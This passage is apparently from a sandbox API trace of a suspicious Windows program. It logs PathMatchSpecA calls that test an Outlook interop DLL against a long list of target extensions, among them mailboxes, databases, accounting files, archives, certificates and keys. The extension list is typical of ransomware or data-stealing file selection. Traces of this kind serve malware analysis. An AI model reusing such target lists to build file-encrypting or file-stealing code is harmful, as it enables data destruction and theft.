lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.Outlook.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll" [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.ems") returned 0 [0101.086] lstrlenA (lpString="*.ems") returned 5 [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.db") returned 0 [0101.086] lstrlenA (lpString="*.db") returned 4 [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.dbf") returned 0 [0101.086] lstrlenA (lpString="*.dbf") returned 5 [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.myox") returned 0 [0101.086] lstrlenA (lpString="*.myox") returned 6 [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.myo") returned 0 [0101.086] lstrlenA (lpString="*.myo") returned 5 [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qbw") returned 0 [0101.086] lstrlenA (lpString="*.qbw") returned 5 [0101.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qbb") returned 0 [0101.087] lstrlenA (lpString="*.qbb") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qbm") returned 0 [0101.087] lstrlenA (lpString="*.qbm") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qbo") returned 0 [0101.087] lstrlenA (lpString="*.qbo") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qbx") returned 0 [0101.087] lstrlenA (lpString="*.qbx") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qba") returned 0 [0101.087] lstrlenA (lpString="*.qba") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qby") returned 0 [0101.087] lstrlenA (lpString="*.qby") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qbj") returned 0 [0101.087] lstrlenA (lpString="*.qbj") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.ofx") returned 0 [0101.087] lstrlenA (lpString="*.ofx") returned 5 [0101.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.qif") returned 0 [0101.087] lstrlenA (lpString="*.qif") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mye") returned 0 [0101.088] lstrlenA (lpString="*.mye") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mbox") returned 0 [0101.088] lstrlenA (lpString="*.mbox") returned 6 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.eml") returned 0 [0101.088] lstrlenA (lpString="*.eml") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.pst") returned 0 [0101.088] lstrlenA (lpString="*.pst") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.ost") returned 0 [0101.088] lstrlenA (lpString="*.ost") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.idx") returned 0 [0101.088] lstrlenA (lpString="*.idx") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.dbx") returned 0 [0101.088] lstrlenA (lpString="*.dbx") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.sql") returned 0 [0101.088] lstrlenA (lpString="*.sql") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mdb") returned 0 [0101.088] lstrlenA (lpString="*.mdb") returned 5 [0101.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.fdb") returned 0 [0101.089] lstrlenA (lpString="*.fdb") returned 5 [0101.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.wab") returned 0 [0101.089] lstrlenA (lpString="*.wab") returned 5 [0101.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.dat") returned 0 [0101.089] lstrlenA (lpString="*.dat") returned 5 [0101.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.txt") returned 0 [0101.089] lstrlenA (lpString="*.txt") returned 5 [0101.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.jpeg") returned 0 [0101.090] lstrlenA (lpString="*.jpeg") returned 6 [0101.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.jpg") returned 0 [0101.090] lstrlenA (lpString="*.jpg") returned 5 [0101.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.png") returned 0 [0101.091] lstrlenA (lpString="*.png") returned 5 [0101.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.php") returned 0 [0101.091] lstrlenA (lpString="*.php") returned 5 [0101.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.cs") returned 0 [0101.091] lstrlenA (lpString="*.cs") returned 4 [0101.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.cpp") returned 0 [0101.091] lstrlenA (lpString="*.cpp") returned 5 [0101.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.rar") returned 0 [0101.091] lstrlenA (lpString="*.rar") returned 5 [0101.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.zip") returned 0 [0101.091] lstrlenA (lpString="*.zip") returned 5 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.html") returned 0 [0101.092] lstrlenA (lpString="*.html") returned 6 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.htm") returned 0 [0101.092] lstrlenA (lpString="*.htm") returned 5 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.xlsx") returned 0 [0101.092] lstrlenA (lpString="*.xlsx") returned 6 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.xls") returned 0 [0101.092] lstrlenA (lpString="*.xls") returned 5 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mp4") returned 0 [0101.092] lstrlenA (lpString="*.mp4") returned 5 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.ppt") returned 0 [0101.092] lstrlenA (lpString="*.ppt") returned 5 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.pptx") returned 0 [0101.092] lstrlenA (lpString="*.pptx") returned 6 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.doc") returned 0 [0101.092] lstrlenA (lpString="*.doc") returned 5 [0101.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.dot") returned 0 [0101.092] lstrlenA (lpString="*.dot") returned 5 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.docx") returned 0 [0101.093] lstrlenA (lpString="*.docx") returned 6 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.7z") returned 0 [0101.093] lstrlenA (lpString="*.7z") returned 4 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.tar") returned 0 [0101.093] lstrlenA (lpString="*.tar") returned 5 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.bz2") returned 0 [0101.093] lstrlenA (lpString="*.bz2") returned 5 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.gz") returned 0 [0101.093] lstrlenA (lpString="*.gz") returned 4 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mkv") returned 0 [0101.093] lstrlenA (lpString="*.mkv") returned 5 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.eml") returned 0 [0101.093] lstrlenA (lpString="*.eml") returned 5 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.msg") returned 0 [0101.093] lstrlenA (lpString="*.msg") returned 5 [0101.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.edb") returned 0 [0101.094] lstrlenA (lpString="*.edb") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.accdb") returned 0 [0101.094] lstrlenA (lpString="*.accdb") returned 7 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.odb") returned 0 [0101.094] lstrlenA (lpString="*.odb") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.java") returned 0 [0101.094] lstrlenA (lpString="*.java") returned 6 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.asm") returned 0 [0101.094] lstrlenA (lpString="*.asm") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.pfx") returned 0 [0101.094] lstrlenA (lpString="*.pfx") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.pem") returned 0 [0101.094] lstrlenA (lpString="*.pem") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.p12") returned 0 [0101.094] lstrlenA (lpString="*.p12") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.gpg") returned 0 [0101.094] lstrlenA (lpString="*.gpg") returned 5 [0101.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.vsd") returned 0 [0101.094] lstrlenA (lpString="*.vsd") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.odg") returned 0 [0101.095] lstrlenA (lpString="*.odg") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.raw") returned 0 [0101.095] lstrlenA (lpString="*.raw") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.nef") returned 0 [0101.095] lstrlenA (lpString="*.nef") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.svg") returned 0 [0101.095] lstrlenA (lpString="*.svg") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.psd") returned 0 [0101.095] lstrlenA (lpString="*.psd") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.vmx") returned 0 [0101.095] lstrlenA (lpString="*.vmx") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.vmdk") returned 0 [0101.095] lstrlenA (lpString="*.vmdk") returned 6 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.vdi") returned 0 [0101.095] lstrlenA (lpString="*.vdi") returned 5 [0101.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.lay6") returned 0 [0101.096] lstrlenA (lpString="*.lay6") returned 6 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mpeg") returned 0 [0101.096] lstrlenA (lpString="*.mpeg") returned 6 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.djvu") returned 0 [0101.096] lstrlenA (lpString="*.djvu") returned 6 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.tiff") returned 0 [0101.096] lstrlenA (lpString="*.tiff") returned 6 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.backup") returned 0 [0101.096] lstrlenA (lpString="*.backup") returned 8 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.pdf") returned 0 [0101.096] lstrlenA (lpString="*.pdf") returned 5 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.cert") returned 0 [0101.096] lstrlenA (lpString="*.cert") returned 6 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.docm") returned 0 [0101.096] lstrlenA (lpString="*.docm") returned 6 [0101.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.xlsm") returned 0 [0101.096] lstrlenA (lpString="*.xlsm") returned 6 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.dwg") returned 0 [0101.097] lstrlenA (lpString="*.dwg") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.nd") returned 0 [0101.097] lstrlenA (lpString="*.nd") returned 4 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.tlg") returned 0 [0101.097] lstrlenA (lpString="*.tlg") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.lgb") returned 0 [0101.097] lstrlenA (lpString="*.lgb") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mov") returned 0 [0101.097] lstrlenA (lpString="*.mov") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.xdw") returned 0 [0101.097] lstrlenA (lpString="*.xdw") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.ods") returned 0 [0101.097] lstrlenA (lpString="*.ods") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.wav") returned 0 [0101.097] lstrlenA (lpString="*.wav") returned 5 [0101.097] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.Outlook\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.Outlook.dll", pszSpec="*.mp3") returned 0 [0101.097] lstrlenA (lpString="*.mp3") returned 5 